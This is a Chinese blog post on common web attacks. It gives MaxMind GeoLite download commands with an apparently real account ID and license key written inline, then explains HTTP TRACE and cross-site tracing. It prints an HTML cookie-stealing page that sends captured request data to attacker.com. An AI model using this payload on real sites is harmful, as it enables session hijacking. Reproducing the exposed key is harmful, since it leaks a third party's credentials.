无垠之码

深度剖析代码之道


常见攻击手段

申请秘钥,下载配置
https://www.maxmind.com/en/accounts/293975/license-key

# 永久下载maxmind数据库
curl -O -J -L -u 293975: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 'https://download.maxmind.com/geoip/databases/GeoLite2-Country/download?suffix=tar.gz'
curl -O -J -L -u 293975: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 'https://download.maxmind.com/geoip/databases/GeoLite2-City/download?suffix=tar.gz'
curl -O -J -L -u 293975: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 'https://download.maxmind.com/geoip/databases/GeoLite2-ASN/download?suffix=tar.gz'

# 使用geoipupdate程序
sudo add-apt-repository ppa:maxmind/ppa
sudo apt update
sudo apt install geoipupdate
用文本编辑器打开/etc/GeoIP.conf,把先前生成的许可证密钥对应的配置文件内容粘贴进去,或者手动输入AccountID、LicenseKey和EditionIDs。剩余部分保持默认。

1. 利用TRACE/XST获取敏感信息


HTTP TRACE功能是一种类似ping工具的echo服务功能,主要用于诊断和调试,核心功能是回显Echo客户端请求,让客户端看到服务器收到的完整请求内容,包括请求头和请求行,调试代理或中间设备,确认请求在经过防火墙、代理、负载均衡器等中间节点时是否被篡改或丢失了头部信息,诊断客户端与服务器的通信问题,查看完整请求报文,排查请求被截断、修改或重复的问题。测试 HTTP 功能实现是否正确,一些开发或测试场景下,用 TRACE 检查服务器是否支持标准 HTTP 方法。

apache使用TraceEnable On打开trace功能
nmap --script=http-trace 127.0.0.1

HTTP TRACE功能存在一定的安全漏洞风险,主要与跨站追踪攻击(XST, Cross-Site Tracing)

<!DOCTYPE html>
<html>
<body>
<h3>请稍等,正在加载中...</h3>
<script>
async function stealCookie() {
  try {
    let response = await fetch("http://victim.com/", {
      method: "TRACE",
      credentials: "include"   // 自动携带 Cookie
    });
    let text = await response.text();

    // 把 TRACE 回显的内容(包含 Cookie)上传给攻击者
    await fetch("http://attacker.com/collect", {
      method: "POST",
      body: text
    });
  } catch (e) {
    console.error("Exploit failed", e);
  }
}

stealCookie();
</script>
</body>
</html>
comments powered by Disqus